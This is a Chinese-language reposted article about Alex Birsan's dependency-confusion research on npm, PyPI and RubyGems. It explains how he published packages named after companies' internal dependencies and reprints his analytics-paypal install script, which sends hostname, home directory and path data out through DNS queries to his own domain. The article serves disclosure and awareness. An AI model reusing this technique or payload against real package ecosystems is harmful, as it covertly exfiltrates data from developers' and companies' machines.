最近看到一个新闻，开眼了。
一个搞安全的程序员 Birsan， 利用 npm 的设计缺陷，成功进入了 35 个公司的内网系统，这些公司还是非常出名的，包括 Microsoft、Apple、PayPal、Tesla、Uber 等，也因此获得了超过 130,000 美元的赏金。那么他是怎么做到的呢?
一些包管理工具，比如说 Python 的 pip，Node.js 的 npm，Java 的 maven，可以从开源的仓库下载软件包，同时自动管理依赖项。其实我们都假设这些软件包是安全的，事实上，每个人都可以制作并上传自己开发的软件，一旦有人不怀好意，上传一些别有用心的软件包，你下载后软件会自动安装和执行，这就相当于被黑了。
问题是如何让别人下载呢?开源软件的代码是公开的，有问题的软件包被下载的概率很低，前攻击者会依靠社会工程手段或将软件命名为正常名称易拼写出错的名称，安装时一旦拼写错误，就下载了恶意软件。这种方式有一定的局限性，只要稍微认真点，就不会出错。
而 Birsan 用的是非常隐蔽的方式，就算软件包的名称完全正确，也有可能下载到恶意软件。具体的过程是这样的：
Birsan 发现了 PayPal 内部使用的 package.json，这里面有一些软件包并不在公共仓库中：
上图中标红色的部分，是 PayPal 内部使用的 npm 软件包，由公司内部使用和存储。看到这一点，Birsan 想知道，这些软件包是私有的，如果在公共 npm 存储库中存在同名的软件包会怎么样?
为了检验这个假设，Birsan 开始寻找一些私有内部软件包的名称，这可以在 GitHub 仓库或知名公司的 CDN 中的清单文件中找到，这些软件包在公共开放源代码仓库中是不存在的。
然后，Birsan 在开源存储库(例如 npm，PyPI 和 RubyGems)上使用相同的名称创建伪造项目。这些伪造的项目都是在他的真实帐户下完成的，并且有免责声明，并声明此程序包用于安全研究目的，并且不包含任何有用的代码。
结果发现，这些包管理工具会优先下载公共存储库上的软件包，如果不指定软件包的版本号，则优先下载高版本的软件包。这样，Birsan 只需发布与公司内部名称相同的软件包，就可以成功地对 Microsoft，Apple，PayPal，Shopify，Netflix，Tesla，Yelp 和 Uber 进行攻击。
那么你可能想知道，如何进行攻击的呢?软件包管理器，比如 pip，npm，具有预安装脚本，一旦下载就会进行安装，安装过程执行的代码就是黑客写好的代码，至于这些代码具体能做什么事情，写过程序的人都知道，你可以发挥想象。鉴于大多数公司网络都被保护的很好，想渗透没那么容易，Birsan 使用的是 DNS 渗透。
下面显示的代码就是 Birsan 制作的 npm 软件包 analytics-paypal(该软件包现在已从 npm 中删除)。
- const dns = require('dns');
- const os = require("os");
- const suffix = '.dns.alexbirsan-hacks-paypal.com';
- const package = 'analytics-paypal';
- data = package +
- '__' + os.hostname() +
- '__' + os.homedir() +
- '__' + __dirname;
- data = data.replace(/[^a-zA-Z0-9._]/g,
- function(m){
- return '_' + m.charCodeAt(0).toString(16);
- });
- data = data.match(/.{1,50}/g);
- dns.setServers(['46.101.225.109']);
- id = Math.random().toString(36).substring(7);
- data.forEach(function(chunk){
- dns.resolve(id + '.' + chunk + suffix, 'A',console.log)
- });
该脚本将在 analytics-paypal 依赖项被下载后立即自动启动，并向 dns.alexbirsan-hacks-paypal.com 发出 DNS 请求。从 PayPal 系统收到的回叫会提醒 Birsan，发出请求的 IP 属于贝宝 PayPal ，以及用户名和受感染系统的主目录。
充分验证这些假冒的软件包已成功渗透到公司网络后，Birsan 随后将其报告给这些被入侵的公司，并因此获得赏金。这些漏洞赏金计划让 Birsan 累计获得了 13 万美元的奖励。
那么这些公司都是如何修复的呢?修复可能会比较难，因为 pip，npm 是开源工具，工具本身存在缺陷，解铃还须系铃人，最好的解决办法就是维护一个健康的开源生态，比如给这些工具提供更安全的配置，对开源仓库中提交的软件包进行审核等等。
开源工具的缺陷并不是某一公司的问题，但可以对这些缺陷进行缓解，比如对于私有的软件包，使用前可以进行签名校验，确保该软件包来自于公司内部。
最后的话
我自己使用 pip，npm 时只是觉得它们如此的方便，非常依赖它们，以至于从未怀疑这些工具也存在安全问题，所谓最依赖的工具一旦出了问题也是最致命的，如果你的公司也存在类似的情况，是时候做出一些改进了。
从 Birsan 的经历中也可以看出，如果你有一个有趣的想法，请立即去验证它，无论结果如何，你都不虚此行。
本文转载自微信公众号「Python七号」，可以通过以下二维码关注。转载本文请联系Python七号公众号。
